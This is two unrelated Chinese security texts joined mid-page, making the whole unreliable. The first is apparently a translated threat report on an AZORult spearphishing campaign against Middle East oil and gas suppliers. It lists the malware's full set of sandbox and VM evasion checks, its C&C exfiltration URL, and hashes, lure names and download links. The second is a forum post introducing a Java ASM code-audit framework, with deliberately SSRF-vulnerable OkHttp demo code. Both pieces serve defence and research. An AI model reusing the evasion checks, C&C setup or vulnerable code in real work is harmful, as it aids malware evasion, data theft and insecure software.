### **威胁归因**
网络犯罪分子对中东特别感兴趣，比如中东供应链中的组织和政府部门，尤其是阿拉伯联合酋长国（UAE）和Qatar。
基于目标收件人的电子邮件，内容以及附加的PDF文件，元数据和基础结构分析，我们得出结论，这是对中东组织的针对性攻击。
##
### **元数据分析**
在研究了PDF文件的元数据之后，我们发现了与网络犯罪分子关联的多个PDF。从2020年1月到2020年5月，该分发方法已被广泛使用。
自2020年7月起，我们观察到网络犯罪分子的动作有所增加。
PDF文件的元数据表明它们是使用Microsoft Office Word 2013生成的。在所有PDF示例中唯一使用的作者姓名是：
Donor1
Mr. Adeel
图5显示了带有 MD5 hash e368837a6cc3f6ec5dfae9a71203f2e2的PDF文件的元数据。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
5 - PDF metadata.png)
_图5：攻击活动中使用的其中一个PDF的元数据_
附录中提供了此活动中确定的所有PDF样本的完整列表。
###
### **基础设施分析**
除了电子邮件的内容和用于威胁归因的文档之外，我们还可以从Command and Control
(C&C)基础结构中推断出威胁者特地选择了与主题相符的C＆C服务器。
示例中的C＆C服务器是crevisoft.net.
在分析时，域解析为IP地址 167.114.57.136.。当直接访问该域时，该域将重新定向到crevisoft.com托管的埃及服务咨询公司
，如图6所示。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
6 - legitimate site.png)
_图6：在crevisoft.com上托管的基于中东的合法站点_
以下所有四个域都将重新定向到上述域：
crevisoft.net
cis.sh
crevisoft.org
crevisoft.co
有了较高的置信度，我们得出结论，网络犯罪分子对窃取信息并获得对位于中东的供应链相关组织的基础结构的访问权限很感兴趣。
###
### **对.NET有效负载的技术分析**
为了进行技术分析，我们将考虑带有 MD5 hash:的.NET二进制文件：84e7b5a60cd771173b75a775e0399bc7
下载的ZIP文件中的有效负载是混淆的.NET二进制文件。
基于静态分析，我们可以看到有效负载伪装成具有欺骗性元数据的Skype应用程序，如图7所示。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
7 - .NET 1.png)
_图7：主要.NET可执行文件的元数据_
执行后，它将解压嵌入在资源部分中的另一个有效负载。图8显示了使用硬编码密钥“ GXR20”解密有效载荷的定制算法。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
8 - .NET 2.png)
_图8：用于解密第二阶段.NET DLL的子例程_
###
### **第二阶段**
图9显示了解密的有效负载，它是一个带有 **MD5 hash**
0988195ab961071b4aa2d7a8c8e6372d和名称为Aphrodite.dll的.NET DLL。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
9 - .NET 3.png)
_图9：称为Aphrodite解压并加载的第二阶段DLL_
通过为名为“ Mortiz.Anton”的类创建一个对象，通过以下三个参数，将代码执行转移到DLL，如图10所示。
ugz1: “ddLPjs” (name of the bitmap image resource)
ugz3: ”KKBxPQsGk” (the decryption key)
projName: “Skype” (name of the project of main executable)
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
10 - .NET 4.png)
_图10：将代码控件传递给Aphrodite DLL_
DLL进一步解压另一个二进制文件，该二进制文件作为位图图像嵌入在主要可执行文件的资源部分，如图11所示。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
11 - .NET 5.png)
_图11：资源内部的位图图像，其中包含下一阶段的有效负载_
与第二阶段（Aphrodite）相似，它也使用自定义算法进行加密。定制算法基于XOR，使用参数ugz3指示的密钥 **。**
###
### **第三阶段**
最终解压的二进制文件是一个带有 **MD5 hash** ae5f14478d5e06c1b2dc2685cbe992c1 和名称为Jupiter的.NET
DLL 。
该代码控件通过对其例程之一的调用转移到第三级DLL，如图12所示。
[](https://www.zscaler.com/sites/default/files/images/blogs/oil_gas_dalma/Figure
12 - .NET 6.png)
_图12：解压并加载的第三阶段DLL，称为Jupiter_
此第三阶段DLL使用各种方法来检测虚拟化或分析环境的存在。
###
### **规避技术**
下面是该DLL用于检测分析环境方法的摘要。
### **注册表检查**
Registry key: "HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id
0\Logical Unit Id 0"
Value: "Identifier"
Data contains: "VBOX" OR "VMWARE" OR "QEMU"
Registry key: "HARDWARE\Description\System"
Value: "SystemBiosVersion"
Data contains: "VBOX" OR "QEMU"
Registry key: "HARDWARE\Description\System"
Value: "VideoBiosVersion"
Data contains: "VIRTUALBOX"
Checks if key present: "SOFTWARE\Oracle\VirtualBox Guest Additions" OR
"SOFTWARE\VMware, Inc.\VMware Tools"
Registry key: "HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id
0\Logical Unit Id 0"
Value: "Identifier"
Data contains: "VMWARE"
Registry key: "HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id
0\Logical Unit Id 0"
Value: "Identifier"
Data contains: "VMWARE"
Registry key: "SYSTEM\ControlSet001\Services\Disk\Enum"
Value: "0"
Data contains: "VMWARE"
Registry key: "SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000"
Value: "DriverDesc"
Data contains: "VMWARE"
Registry key:
"SYSTEM\ControlSet001\Control\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings"
Value: "Device Description"
Data contains: "VMWARE"
Registry key: "SOFTWARE\VMware, Inc.\VMware Tools"
Value: "InstallPath"
Data contains: "C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\"
**环境检测：**
检查kernel32.dll的导出功能是否包含：wine_get_unix_file_name
**Windows Management Instrumentation（WMI）检查：**
WMI Query: "SELECT * FROM Win32_VideoController"
Property: "Description"
检查描述字段中是否存在以下关键字：
* "VM Additions S3 Trio32/64"
* "S3 Trio32/64"
* "VirtualBox Graphics Adapter"
* "VMware SVGA II"
* "VMWARE"
**基于DLL名称检查：**
检查进程地址中是否存在名称为“ SbieDll.dll”的DLL。
**基于用户名的检查：**
检查系统用户名是否包含以下字符串之一：
* "USER"
* "SANDBOX"
* "VIRUS"
* "MALWARE"
* "SCHMIDTI"
* "CURRENTUSER"
**基于文件名或文件路径的检查：**
FilePath包含： "//VIRUS" OR "SANDBOX" OR "SAMPLE" OR "C:\file.exe"
**窗口类检查：**
“ Afx：400000：0”
执行完所有上述环境检查后，在主过程的实例中使用过程挖空技术注入了AZORult有效负载（ **MD5** **hash** _：_ *
38360115294c49538ab15b5ec3037a77）。
由于AZORult信息窃取程序的功能已在公共领域进行了详细记录，因此我们不详细描述。
要注意的是，基于代码执行的流程和所使用的反分析技术，.NET打包的有效负载似乎是使用CyaX打包程序创建的。有关此打包程序的更多详细信息，请参见[此处](https://rvsec0n.wordpress.com/2020/01/24/cyax-dotnet-packer/)。
### **网络通讯**
最终的未压缩有效负载AZORult将在计算机上执行信息窃取指令，并通过向URL发送HTTP
POST请求泄露信息：hxxp：//crevisoft.net/images/backgrounds/ob/index.php
经过检查，我们发现在C＆C服务器上启用了opendir，如图13所示。
_图13：在C＆C服务器上启用了Opendir_
可以通过以下网址访问C＆C服务器上的AZORult面板：hxxp：//crevisoft.net/images/backgrounds/ob/panel/admin.php。
_图14：AZORult面板_
### **PHP邮件程序脚本**
在C＆C服务器上发现的其他工件中，我们发现了一个部署在hxxp://crevisoft[.]net/images/-/leaf.php.上的PHP邮件脚本
。
这使网络犯罪分子可以使用C＆C服务器的SMTP发送电子邮件。
_图15：C＆C服务器上的PHP邮件脚本_
### **Zscaler Cloud Sandbox检测**
图16显示了Zscaler Cloud Sandbox成功检测到基于.NET的威胁。
_图16：Zscaler Cloud Sandbox检测_
除了sandbox检测外，Zscaler的多层云安全平台还可以检测各个级别的指标，如下所示：
[Win32.PWS.Azorult](https://threatlibrary.zscaler.com/?keyword=Win32.PWS.Azorult)
[Win64.PWS.Azorult](https://threatlibrary.zscaler.com/?keyword=Win64.PWS.Azorult)
[PDF.Downloader.Azorult](https://threatlibrary.zscaler.com/?keyword=PDF.Downloader.Azorult)
## **结论**
网络犯罪分子以中东地区石油和天然气行业供应链行业的员工为目标。一如既往，用户在突然收到电子邮件时应保持谨慎，即使这些电子邮件与您有关，比如有关项目的法律投标。要始终警惕嵌入在文件格式（例如PDF）中的链接，因为这些链接可能会指示系统下载恶意文件。
Zscaler ThreatLabZ团队将继续监视相关的攻击活动，以确保客户信息安全。
## **MITRE ATT &CK TTP Mapping**
**ID** | **Tactic** | **Technique**
---|---|---
T1566.001 | Spearphishing Attachment | Uses PDF attachments containing
malicious URLs
T1204.002 | User Execution: Malicious File | User opens pdf file. Click the
URL link. Downloads ZIP file. Extracts zip file and executes the binary.
T1140 | Deobfuscate/Decode Files or Information | Strings and other data are
obfuscated in the payload.
T1036.005 | Masquerading: Match Legitimate Name or Location | File names used
related to projects directly linked to the Middle East.
T1027.002 | Obfuscated Files or Information: Software Packing | Payloads are
packed with a multilayer packer.
T1497 | Virtualization/Sandbox Evasion | Uses Registry, WMI, UserName-based
anti-VM techniques
T1134.002 | Access Token Manipulation: Create Process with Token | One of
AZORult capabilities
T1555.003 | Credentials from Password Stores: Credentials from Web Browsers |
One of AZORult capabilities
T1140 | Deobfuscate/Decode Files or Information | One of AZORult capabilities
T1573.001 | Encrypted Channel: Symmetric Cryptography | One of AZORult
capabilities
T1083 | File and Directory Discovery | One of AZORult capabilities
T1070.004 | Indicator Removal on Host: File Deletion | One of AZORult
capabilities
T1105 | Ingress Tool Transfer | One of AZORult capabilities
T1057 | Process Discovery | One of AZORult capabilities
T1055.012 | Process Injection: Process Hollowing | One of AZORult capabilities
T1012 | Query Registry | One of AZORult capabilities
T1113 | Screen Capture | One of AZORult capabilities
T1082 | System Information Discovery | One of AZORult capabilities
T1016 | System Network Configuration Discovery | One of AZORult capabilities
T1033 | System Owner/User Discovery | One of AZORult capabilities
T1124 | System Time Discovery | One of AZORult capabilities
T1552.001 | Unsecured Credentials: Credentials In Files | One of AZORult
capabilities
## **IOCs**
**计划任务名称**
**命名** ：“ Updates \ ”
Updates\YJSlNpkH
Updates\WWOsRUUn
Updates\NcojkRtJmDPru
**XML文件名**
计划任务是使用已删除的XML文件在具有随机名称的％temp％目录中创建的。
C：\ Users \ user \ AppData \ Local \ Temp \ tmp9AA2.tmp
C：\ Users \ user \ AppData \ Local \ Temp \ tmp23B7.tmp
C：\ Users \ user \ AppData \ Local \ Temp \ tmp24CC.tmp
**文件名删除**
文件将以与任务相同的名称放置在“ AppData \ Roaming”目录中。
C：\ Users \ User \ AppData \ Roaming \ YJSlNpkH.Exe
C：\ Users \ User \ AppData \ Roaming \ WWOsRUUn.Exe
C：\ Users \ user \ AppData \ Roaming \ NcojkRtJmDPru.exe
**File hashes**
**PDF hashes**
**Author: Donor1**
e368837a6cc3f6ec5dfae9a71203f2e2
741f66311653f41f226cbc4591325ca4
fe928252d87b18cb0d0820eca3bf047a
8fe5f4c646fd1caa71cb772ed11ce2e5
d8e3637efba977b09faf30ca49d75005
c4380b4cd776bbe06528e70d5554ff63
34cae3ae03a2ef9bc4056ca72adb73fc
363030120a612974b1eb53cc438bafcb
2710cc01302c480cd7cd28251743faf0
1693f1186a3f1f683893b41b91990773
7a016c37fa50989e082b7f1ca2826f04
709895dd53d55eec5a556cf1544fc5b9
5d9ed128316cfa8ee62b91c75c28acd1
c2ac9c87780e20e609ba8c99d736bec1
269cfd5b77ddf5cb8c852c78c47c7c4c
653f85816361c108adc54a2a1fadadcf
6944f771f95a94e8c1839578523f5415
8e5c562186c39d7ec4b38976f9752297
3d019ede3100c29abea7a7d3f05c642b
67f178fd202aee0a0b70d153b867cb5e
39598369bfca26da8fc4d71be4165ab4
70a92fdba79eaca554ad6740230e7b9a
9db3d79403f09b3d216ee84e4ee28ed3
bafdeef536c4a4f4acef6bdea0986c0b
8d7785c8142c86eb2668a3e8f36c5520
653e737fd4433a7cfe16df3768f1c07e
ebdcb07d3de1c8d426f1e73ef4eb10f4
d258ba34b48bd0013bfce3308576d644
a74c619fd61381a51734235c0539e827
6f1bd3cb6e104ed6607e148086b1e171
cf04d33371a72d37e6b0e1606c7cd9a2
ede5fa9b9af1aeb13a2f54da992e0c37
5321cd5b520d0d7c9100c7d66e8274e1
de521f9e4bc6e934bb911f4db4a92d36
36e5726399319691b6d38150eb778ea7
1c5cb47fd95373ade75d61c1ae366f8b
b7b41d93709777780712f52a9acf7a26
62a05b00c7e7605f7b856c05c89ee748
b520f4f9d87940a55363161491e69306
40c1156d98c39ac08fd925d86775586d
**Author: Mr. Adeel**
f2319ddb303c2a5b31b05d8d77e08b4e
24e67f40ccb69edb88cc990099ef2ffe
54fc7650a8b5c1c8dc85e84732a6d2c7
9cf615982d69d25b1d0057617bd72a95
e9dfa14e4f6048b6f3d0201b2f3c62fe
abab000b3162ed6001ed8a11024dd21c
5c857bf3cf52609ad072d6d74a4ed443
73ddf9f8fc3dc81671ea6c7600e68947
3510cbf8b097e42745cfb6782783af2b
694a6568b7572125305bdb4b24cebe98
7fa5028f2394dcea02d4fdf186b3761f
2260d015eacdc14e26be93fbc33c92aa
d51d5e4c193617fa676154d1fe1d4802
912dbb9e0400987c122f73e0b11876c0
0f4cd9e8111d4eeda89dbe2ce08f6573
d03fb3e473bd95c314987a1b166a92ed
549a06cb43563dad994b86e8f105323a
80149a26ee10786d6f7deaf9fb840314
c7ced41f38b2d481d1910663a14fbec4
3ce6cc6dee4563eb752e55103cdb84d4
**ZIP hashes**
6d0241bc7d4a850f3067bc40124b3f52
cdfde809746759074bcd8ba54eb19ccd
40b5976eb7ddd1d372e34908f74ba0c4
93c8ed2915d8a3ff7285e0aa3106073e
2b719eeca275228fbead4c1d3016b8e4
**Exe hashes**
42aec0b84a21fa36fc26b8210c197483
02ae44011006e358a3b1ccbd85ba01f2
131772a1bb511f2010da66c9c7dca32f
7860c138e3b8f40bfb6efec08f4a4068
3bcbe4d2951987363257a0612a107101
328aa4addb7e475c3721e2ae93391446
84e7b5a60cd771173b75a775e0399bc7
3c83b0fe45e15a2fd65ed64a8e1f65e9
f626e64f57d3b8c840a72bbfbe9fb6ca
fcf7a9b93cffddf0a242a8fc83845ee3
**Unpacked file hashes**
0988195ab961071b4aa2d7a8c8e6372d - Aphrodite
Ae5f14478d5e06c1b2dc2685cbe992c1 - Jupiter
38360115294c49538ab15b5ec3037a77 - Azorult
**Unique PDF file names**
**Author: Donor1**
RFQ #88556524.pdf
ADNOC RFQ 97571784 - Purchase - core store Mussafah - Tehnical and
Commercial.pdf
ALJABER-GROUP-RFQ-38982254237312018-848000071984-03-19-Rev-1.1.pdf
Dalma Gas Development Project (Package B) -TENDER BULLETIN-01.pdf
RFQ-VENDOR 3 YEARS SUPPLY CONTRACT (RENEWAL OF LTPA 62431092).pdf
**Author: Mr. Adeel**
RFQ-ALJ-HAMAD INTERNATIONAL AIRPORT EXPANSION, DOHA.pdf
RFQ-HAMAD INTERNATIONAL AIRPORT EXPANSION, DOHA QATAR.pdf
RFQ-HAMAD INTERNATIONAL AIRPORT EXPANSION, DOHA.pdf
RFQ#ENQ34640-ALJ24.pdf
AJC-QA HAMAD INTERNATIONAL AIRPORT EXPANSION, DOHA.pdf
**C &C servers**
hxxp://crevisoft[.]net/images/backgrounds/ob/index.php
hxxp://nsseinc[.]com/lingo/index.php
**Email address**
[[email protected]](mailto:[email protected])
**ZIP hosted URLs:**
**Author of PDF: Donor1**
hxxps://we[.]tl/t-lBcWz3Rcbs
hxxps://mega[.]nz/#!Ov41xapb!M-COPorpfcQ7j1G61afFVruLbDVwzNfujRIwERqlIQw
hxxps://we[.]tl/t-P2Lt34YUcf
hxxps://we[.]tl/t-7XwI9xNjQj
hxxps://we[.]tl/t-AgAdhMTWIm
hxxps://mega[.]nz/file/fkImWKab#zvyeMmsYgGiu-hK-FT0o4OBozg0r4gWPRUtAr6iRvwM
hxxps://we[.]tl/t-utJr50o6uf
hxxp://bit[.]ly/32qQFah
hxxps://mega[.]nz/file/zsIB2aLK#pyTNpp8H4pZhpq0i7w0OB8itu3Rj_02n9BksARDrlzc
hxxps://mega[.]nz/#!nrozSBoL!Pc5ApemPW46RC8b0kgiTIyuIa0MnQV9GDUPXGK8__LM
hxxps://we[.]tl/t-TbbBN9VnEZ
hxxps://mega[.]nz/#!KuRElKZT!5F_FfxkyPI7tvJ-mnL7LppAU5X5wA1XbpTM-z8DpVB8
hxxps://mega[.]nz/file/q55WVIKB#zm3CTH6XEv63mwacATKpo2AMe7yjFmp-KpQXUBkhZJ4
hxxp://bit[.]ly/3a3CwSX
hxxps://we[.]tl/t-MFcMWYK7HL
hxxps://mega[.]nz/#!Tmw0EK5Q!zSLa_Ell7Ti5sz-ca-plgqc4vZM7S813Hb9Yk5Jk81Y
hxxps://we[.]tl/t-0NlciPHf5y
hxxps://mega[.]nz/#!y6w1BAqS!DMfA221sRvIyqVqPNhsKMZEAtBNkjY_jLUWEmCpxMfo
hxxps://mega[.]nz/#!j2JSwQYb!LaAP2L2WBKLU3DlR6BViQxZ4b8fsmt53Hl3RKHMfb4w
hxxps://mega[.]nz/file/Ptp1CL6R#EvbG9Gh435cDmmXXyU1_l4dM3Bq9fP2B8VdjirGiK_c
hxxps://we[.]tl/t-feLBFQVV1P
hxxps://we[.]tl/t-ad5X6peqHj
hxxps://www[.]dropbox[.]com/s/cym2723azwnb364/ADNOC%202020%20REQUEST%20FOR%20QUOTATION-REQUEST%20FOR%20TENDER%20CODE%2076384_pdf[.]zip?dl=0
hxxps://we[.]tl/t-uwwupT1WNc
hxxps://mega[.]nz/#!K6xgGCYJ!1cJY91IlILLrGGrDVVrkbb7vNRKL9CAFD4tB9_jP8ts
hxxps://mega[.]nz/#!yrBGmQBA!EhgekpU4VUafMvfJKlNVFej1KsgxYWv1mfzCKXejjEc
hxxps://we[.]tl/t-ZcyzrvcBkP
hxxps://mega[.]nz/file/GpB3VIyS#3-tKCJ8d-y782IN0570wHMMKQ244ttzBRpUmFXh6LZQ
hxxps://mega[.]nz/#!OvJFjQaY!UBgEDtTE_Gn4B4vYrn-d7rYeO5CBMTxt83NyXQGWh0E
hxxps://mega[.]nz/file/G5YmjCYJ#jvqrZX2ZLXn3SAI9nzf8w6mWtxTM4_fwx7VzHdqzfqM
hxxps://mega[.]nz/#!zygWnKAS!5kp8IWNec2HK-YPK2gk-hmLa416PZLtr6VpbNZediSk
hxxps://mega[.]nz/#!uu40wQxJ!HXlLJw7KDJgqnpwCzgrnBt9vu_W1-FZlSIvn0JU5rDw
hxxps://mega[.]nz/#!66hWzACL!_6klTwfD-JaSkwjWrKRIBqX1ghXr-SZGk1Utc2-VJPc
hxxps://www[.]aljaber-llc[.]com/projects/files/ALJABER-RFQ-38982254237312018-848000071984-04-23-Rev-1[.]1[.]zip
hxxps://we[.]tl/t-cJa4jY9Egz
hxxps://we[.]tl/t-Out44emJ9t
hxxps://we[.]tl/t-QuCLQY3cTh
hxxps://we[.]tl/t-nMKuKWbMlE
hxxps://mega[.]nz/file/f1RTVa4A#2uGmQV64RKkNYZEECYXFKjGPS-nalF2ZshufSgqsA_k
hxxps://we[.]tl/t-oAkwGNORsR
hxxps://we[.]tl/t-cFvm5QQlyV
hxxps://www[.]dropbox[.]com/s/5b0bti9r6xhf3pq/ADNOC%202020%20REQUIREMENT%20TENDER%20RFQ%2056774387_PDF[.]zip?dl=0
hxxps://we[.]tl/t-Didobux8kG
hxxps://we[.]tl/t-FkBOHwy1ME
hxxps://mega[.]nz/file/u7xRlS7T#I8L3NL_zi-JizZagSF-E1Gcj5I8ednV6YdqyWs5RnNo
hxxps://we[.]tl/t-XsVO5hewBu
**Author of PDF: Mr. Adeel**
hxxps://we[.]tl/t-NwSigkLd2E
hxxps://we[.]tl/t-wQB6ioE8dL
hxxps://we[.]tl/t-u3NL7Wnplr
hxxps://we[.]tl/t-zC6Wz4CpfZ
hxxps://we[.]tl/t-5wQSJsFUlC
hxxps://we[.]tl/t-egfvdBvESW
hxxps://we[.]tl/t-2a9aq4LJSn
hxxps://we[.]tl/t-4BnTk2Hwiv
hxxps://we[.]tl/t-hSqtTJDi1f
hxxps://we[.]tl/t-1VyVEAtzAf
hxxps://we[.]tl/t-E1iDs5Bghr
hxxps://we[.]tl/t-YlbV0AIU5b
hxxps://we[.]tl/t-1yLti4IfaN
hxxps://we[.]tl/t-dGN9sRTnch
hxxps://we[.]tl/t-spOqYklJIQ
hxxps://we[.]tl/t-cunxjPBouY
hxxps://we[.]tl/t-39SvbwCY2E
hxxps://we[.]tl/t-9RVc3dflK6
hxxps://we[.]tl/t-aBUVx3EMdx
hxxps://we[.]tl/t-XdOjUbrcK8
hxxps://we[.]tl/t-MkUZugwABd
hxxps://we[.]tl/t-ikxwkPtSBi
hxxps://we[.]tl/t-1hWeuMe1h7
hxxps://we[.]tl/t-2L7ajlJSCG
hxxps://we[.]tl/t-HZygDd5TUJ
hxxps://we[.]tl/t-MtgNnMbTij
* * * | 社区文章 |
# 前言
笔者最近在研究java自动化代码审计这方面的内容，也看了一些相关的文章，其中主要是跟着[4ra1n师傅](https://4ra1n.love)的文章进行学习的。目前学到的有两种自动化审计思路，一是AST，二是ASM。前者基于java源代码，后者基于字节码。个人感觉后者的可操作性会更强一些。同时由于有[gadget-inspector](https://github.com/JackOfMostTrades/gadgetinspector)的铺垫，给我们提供了
**使用java代码模拟jvm执行字节码**
的思路，导致ASM这种自动化审计思路可以做到一定程度的动态化，实现了污点的动态流动，而不仅仅是停留在静态的代码层面。这也使得ASM这种思路更加具有可玩性。因此，笔者也选择了基于ASM来实现
**ACAF(Auto Code Audit Framework)** 。
在正式介绍之前，还是想先梳理一下笔者学习ASM自动化审计的过程。
最开始，笔者先入手的是[gadget-inspector](https://github.com/JackOfMostTrades/gadgetinspector)源码阅读，有一定的jvm基础，加上[三梦师傅](https://xz.aliyun.com/t/7058#toc-6)讲解的非常清晰的博客，花了几天把源码啃得七七八八了。
紧接着就开始跟着4ra1n师傅的博客学，学了一下他的[CodeInspector的实现](https://4ra1n.love/post/zA8rsm1ne/#%E6%80%BB%E7%BB%93)，以及[基于污点分析的JSP
Webshell检测](https://4ra1n.love/post/0GeHo6Oj0/)，后者可能跟本文不是直接相关，不过
**使用java代码模拟jvm执行字节码** 这种思路都是一样的。
值得一提的是，CodeInspector是基于gadget-inspector进行实现的，二者的区别在于，CodeInspector是针对springboot项目的自动化审计，而gadget-inspector是专门用来找反序列化链的。
4ra1n师傅在实现CodeInspector的时候，是以SSRF的例子来进行实现的，需要我们自行去分析 **常见导致SSRF的字节码**
，然后把这种特征硬编码到程序当中，才能实现检测。于是笔者就思考了一下能否将这个过程自动化，或者说，让这个工具的使用更加简单一些。于是笔者将CodeInspector进行了一定程度的抽象，写了个
**ACAF** 。最终实现的效果就是，用户仅仅需要提供 **漏洞代码的demo** ，然后 **手动将部分污点传播链路链接起来**
，就能实现自动化代码审计。
接下来，笔者将从 **使用方法、框架整体概览、漏洞代码特征抽取、手工链接污点传播链路、自动化审计、实际效果**
六个方面来对ACAF进行分析（前面说了一堆废话
# 使用方法
以ssrf的例子来说，用户只需要给出会造成ssrf漏洞的常见demo，如下，将漏洞demo写在`sinkMethod`方法中
package com.er1cccc.acaf.example.ssrf;
import com.er1cccc.acaf.config.ControllableParam;
import com.er1cccc.acaf.config.PassthroughRegistry;
import com.er1cccc.acaf.config.Sink;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import java.lang.reflect.Method;
public class SsrfSink4 implements Sink {
private ControllableParam params = new ControllableParam();
public SsrfSink4(){
params.put("url","http://localhost");
}
@Override
public Object sinkMethod() throws Exception {
OkHttpClient httpClient = new OkHttpClient();
Request request = new Request.Builder().url((String) params.getParameter("url")).build();
Response response = httpClient.newCall(request).execute();
return null;
}
}
然后将 **手动将部分污点传播链路链接起来** （这部分在本文后面会详细讲解），实现`addPassthrough`方法，最终得到完整的demo代码
public class SsrfSink4 implements Sink {
private ControllableParam params = new ControllableParam();
public SsrfSink4(){
params.put("url","http://localhost");
}
@Override
public Object sinkMethod() throws Exception {
OkHttpClient httpClient = new OkHttpClient();
Request request = new Request.Builder().url((String) params.getParameter("url")).build();
Response response = httpClient.newCall(request).execute();
return null;
}
@Override
public void addPassthrough(PassthroughRegistry passthroughRegistry) {
try{
Class<?> builder = new Request.Builder().getClass();
Method urlMethod = builder.getMethod("url",String.class);
Method buildMethod = builder.getMethod("build");
Class<OkHttpClient> okHttpClientClass = OkHttpClient.class;
Method newCall = okHttpClientClass.getMethod("newCall", Request.class);
Class<?> call = newCall.getReturnType();
Method execute = call.getMethod("execute");
passthroughRegistry.addPassthrough(urlMethod,1);
passthroughRegistry.addPassthrough(buildMethod,0);
passthroughRegistry.addPassthrough(newCall,1);
passthroughRegistry.addPassthrough(execute,0);
}catch (Exception e){
e.printStackTrace();
}
}
}
然后写一个配置类
package com.er1cccc.acaf.example.ssrf;
import com.er1cccc.acaf.config.*;
public class SSRFConfigurer implements ACAFConfigurer {
@Override
public void addSource(SourceRegistry sourceRegistry) {
}
@Override
public void addSanitize(SanitizeRegistry sanitizeRegistry) {
}
@Override
public void addSink(SinkRegistry sinkRegistry) {
sinkRegistry.addSink(new SsrfSink4());
}
}
最后创建配置类，开始审计
package com.er1cccc.acaf.example;
import com.er1cccc.acaf.Launcher;
import com.er1cccc.acaf.example.sql.SqlConfigurer;
import com.er1cccc.acaf.example.ssrf.SSRFConfigurer;
public class App {
public static void main( String[] args ) throws Exception{
Launcher.launch(new SSRFConfigurer(),args);
}
}
# 框架整体概览
最初笔者制定的框架结构图是长这个样子的。分别通过VulnTemplateSourceVisitor、VulnTemplateSanitizeVisitor、VulnTemplateSinkVisitor去观察用户给出的source、sanitizer和sink，分析字节码，抽取出特征，然后将特征保存到VulnDiscovery中，再由VulnDiscovery去完成审计功能。
然而，笔者在真正实现时发现，source和sanitize这部分可能不太有必要（灰色部分），因此就仅实现了sink的自定义。
先说说source为什么没有实现，一开始之所以规划了source、sanitizer和sink是因为想参考codeql，但是真正落到ACAF上发现，并没有必要去完全套用。codeql之所以提供了自定义source的功能，是因为它是一款针对多种编程语言，多种框架的普适性的代码审计工具，而ACAF的定位是仅仅针对spring
web项目的审计。在codeql中，source可能是无穷无尽的，没办法限定死，而ACAF中，也就是在spring
web的环境下，source比较局限，可以直接硬编码到框架中。
而sanitizer的话，是因为笔者在写这个框架过程中，暂时还没遇到过误报的情况，所以也感觉不太必要，因此就暂时没有实现。如果后续有这种需求，再考虑实现。
既然说到这里了，就稍微说说ACAF和codeql的区别。这也是笔者在实现这个框架之前思考过的一个问题，codeql已经做的非常出色了，我有没有必要再去重复造轮子？
## ACAF与codeql的区别
### 更加自动化
codeql需要使用者写ql语句对代码进行分析，需要一定的人工投入。而acaf仅需要用户给出项目的jar包/war包（未来可能扩充更多的形式）就能对项目进行常见漏洞的自动化审计，如果是特殊漏洞，用户需要给出漏洞的示例代码。这一点目前笔者仅仅给出了ssrf的几种示例demo，用来审计项目中是否存在ssrf漏洞。未来可能计划补充更多常见漏洞的demo，这样就能实现常见web漏洞的自动化审计。
**追问：** 那直接用codeql写出一些常见漏洞的查询语句不是更好？
**答：**
在使用codeql前需要投入一定的时间成本去学习codeql的文档，而且codeql的语句也较为复杂。而ACAF仅仅需要用户给出java编写的漏洞demo，使用起来更加简单
### 开源问题
目前已知codeql有个很致命的点就是只能对源代码进行分析，如果仅有jar包是没法分析的。虽然说可以把jar包进行反编译成源代码然后再进行分析，但是在反编译过程中可能会遇到项目依赖过于复杂，反编译十分困难，出现反编译后无法编译回去的情况。而ACAF本身就是对jar包（class文件）进行分析，所以不存在这方面的问题。
# 漏洞代码特征抽取
前面说了，使用CodeInspector的时候，需要我们 **自行分析导致漏洞的字节码** ，然后 **自行找出漏洞字节码的特征**
，将其硬编码到程序当中，才能实现检测。而 **漏洞代码特征抽取** 这部分要完成的功能就是，只需要用户 **提供导致漏洞的java代码** ，让框架
**自动去分析它对应的字节码，提取出特征** 。
明确了这部分的目的之后，来看看代码实现。主要代码逻辑在`com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor`，由于框架给出了接口，要求用户如果想自定义sink需要写一个类来实现`com.er1cccc.acaf.config.Sink`接口，进而实现接口中的`sinkMethod`方法，将漏洞demo写到这个方法中。因此，我们在使用asm观察的时候，就只需要去关注这个`sinkMethod`方法就好
在`com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor#visitMethod`中，如果观察到`sinkMethod`方法，则进一步去观察方法体，使用`com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor.VulnTemplateSinkMethodVisitor`进行观察
对于`sinkMethod`的方法体，我们着重观察的是方法体中的方法调用指令，重写`visitMethodInsn`方法对其进行观察。其他的字节码指令我们交给父类`CoreMethodAdapter`去帮助我们模拟出JVM的操作，实现污点的传递。关于模拟JVM操作不太理解的可以先按照
**前言** 中笔者的学习路径，先去学一下前面的基础。
接下来看看`visitMethodInsn`方法的实现，首先调用了`isGetParamMethod`方法。这个方法的作用就是判断本次方法调用是不是准备调用
**获取可控参数的方法** 。
这里详细解释一下，我们让用户提供漏洞demo，但是我们并不知道漏洞demo中究竟哪些参数可控才能导致该漏洞，因此，与用户约定，可控的参数统一通过`params.getParameter`来进行获取
如下，`new
Request.Builder().url()`方法的参数可控可以造成漏洞，因此我们通过`params.getParameter`来进行获取。
public class SsrfSink4 implements Sink {
private ControllableParam params = new ControllableParam();
public SsrfSink4(){
params.put("url","http://localhost");
}
@Override
public Object sinkMethod() throws Exception {
OkHttpClient httpClient = new OkHttpClient();
Request request = new Request.Builder().url((String) params.getParameter("url")).build();
Response response = httpClient.newCall(request).execute();
return null;
}
}
